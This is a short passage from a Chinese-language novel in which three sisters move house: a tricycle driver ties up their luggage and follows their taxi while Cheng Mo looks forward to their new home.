“就这些了是吧？”三轮车师傅跟程兰确认后，找出一根长长的麻绳将行李捆好，就跟着程兰她们坐的出租车出发了。 今天的天气还不错，上午的阳光也不那么刺目，只照得前方的道路一片亮堂堂的。出租车里放着首熟悉的流行歌，男歌手用轻快而特殊的嗓音哼唱着：“回家吧回到最初的美好……” 程茉眯着眼靠在座椅上，期待着即将到达的第一个崭新的属于她们姐妹三个的“家”。